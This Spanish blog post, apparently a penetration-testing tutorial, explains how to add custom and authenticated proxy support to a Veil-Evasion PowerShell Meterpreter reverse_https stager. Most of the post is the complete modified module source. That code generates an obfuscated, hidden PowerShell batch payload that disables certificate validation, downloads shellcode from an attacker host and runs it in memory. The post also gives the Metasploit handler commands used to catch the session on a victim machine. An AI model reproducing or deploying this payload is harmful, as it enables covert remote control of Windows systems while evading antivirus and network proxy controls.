Veil a través de custom proxies

Cuando generamos payloads en Veil-Evasion tenemos la posibilidad de indicar que la sesión de Meterpreter se realice a través del proxy configurado en el sistema. Pero, ¿y si el equipo de la víctima, normalmente un servidor, no tiene configurado ninguno (que en entornos reales suele ser lo normal) o simplemente queremos configurar que nuestro payload utilice otro proxy distinto?

No hay problema, mediante una sencilla modificación en los payloads podemos setear el proxy que queramos, incluso con autenticación.

A continuación os dejo un ejemplo para el payload en Powershell. Para ello copiamos primero el original:

./Veil-Evasion/modules/payloads/powershell/meterpreter# cp rev_https.py rev_https_ori.py

Y modificamos rev_https.py sustituyendo el código por este:
"""

Custom-written pure powershell meterpreter/reverse_https stager.

Module by @harmj0y
Custom proxy support added by @CuriositySec

"""

from modules.common import helpers


class Payload:

    def __init__(self):
        # required options
        self.description = "pure windows/meterpreter/reverse_https stager, no shellcode"
        self.rating = "Excellent"
        self.language = "powershell"
        self.extension = "bat"

        # optional
        self.required_options = {
                                    "LHOST" : ["", "IP of the Metasploit handler"],
                                    "LPORT" : ["443", "Port of the Metasploit handler"],
                                    "PROXY" : ["N", "S=Use system proxy settings, C=Custom proxy without authentication, A=Custom proxy authentication domain"],
                                    "PROXY_HOST" : ["http://127.0.0.1:8080", "Custom Proxy"],
                                    "PROXY_USER" : ["User1", "User domain"],
                                    "PROXY_PASSWORD" : ["123456", "Password domain"],
                                    "PROXY_DOMAIN" : ["CORP", "Domain user"],
                                    "STAGERURILENGTH" : ["4", "The URI length for the stager (at least 4 chars)."],
                                    "LURI" : ["/","The HTTP path to prepend to the listener. Ex: http://attacker:port/[LURI]"],
                                    "USER_AGENT" : ["Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)", "The User-Agent header to send with the initial stager request"]
                                }


    def generate(self):
        if self.required_options["PROXY"][0] == "S":
                proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;"
        elif self.required_options["PROXY"][0] == "C":
                proxyString = "$pr = New-Object System.Net.WebProxy(\'"+self.required_options["PROXY_HOST"][0]+"\',$true);$m.proxy=$pr;"
        elif self.required_options["PROXY"][0] == "A":
                protocol,ip,port = self.required_options["PROXY_HOST"][0].split(":")
                proxyString = "$pr = New-Object System.Net.WebProxy(\'"+self.required_options["PROXY_HOST"][0]+"\',$true);$c = New-Object Net.NetworkCredential(\'"+self.required_options["PROXY_USER"][0]+"\',\'"+self.required_options["PROXY_PASSWORD"][0]+"\',\'"+self.required_options["PROXY_DOMAIN"][0]+"\');$c = $c.GetCredential(\'"+protocol+":"+ip+"\',\'"+port+"\', \'KERBEROS\');$pr.Credentials = $c;$m.proxy=$pr;"
        
        baseString = """$q = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@
try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)}
function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e;  foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;%s
$m.Headers.Add("user-agent", "%s");$n = g; [Byte[]] $p = $m.DownloadData("https://%s:%s/%s$n" )
$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1),
                                                                              "" if self.required_options["PROXY"][0] == "N" else proxyString,
                                                                              self.required_options["USER_AGENT"][0],
                                                                              self.required_options["LHOST"][0],
                                                                              self.required_options["LPORT"][0],
                                                                              "" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0])
        encoded = helpers.deflate(baseString)
        payloadCode = "@echo off\n"
        payloadCode += "if %PROCESSOR_ARCHITECTURE%==x86 ("
        payloadCode += "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
        payloadCode += ") else ("
        payloadCode += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)

        return payloadCode

Ahora simplemente arrancamos Veil:


Listamos los payloads presentes ('list') y seleccionamos el que hemos modificado ('23'):


A continuación vemos las opciones del módulo cargado. Sólo tenemos que indicar el host donde tendremos el listener levantado esperando para enviarle el stage de Meterpreter: 


En el ejemplo configuraremos el payload para que utiliza el proxy 127.0.0.1 en el puerto 8080 sin autenticación:


Después de indicar 'generate' obtendremos el payload generado:


Hay que tener en cuenta que el payload de Veil es sólo la primera fase para establecer la sesión de Meterpreter, la del stager. Posteriormente se enviará el stage y éste debe configurarse para usar también el proxy.

Para ello en la máquina del atacante ejecutaremos lo siguiente:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > advanced (para ver las opciones disponibles)

...

msf exploit(handler) > set PayloadProxyHost 127.0.0.1
PayloadProxyHost => 127.0.0.1
msf exploit(handler) > set PayloadProxyPort 8080
PayloadProxyPort => 8080
msf exploit(handler) > set LHOST 192.168.1.114
LHOST => 192.168.1.114
msf exploit(handler) > set LPORT 8444
LPORT => 8444



Al ejecutarlo en la máquina de la víctima obtendremos la sesión de meterpreter:


Y cómo podéis observar, las peticiones son enviadas a través del proxy seleccionado:



Contribución gracias a Sebastián Cornejo @CuriositySec

1 comentarios :

  1. ¿Habría alguna manera de hacerlo por SOCKS?

    ResponderEliminar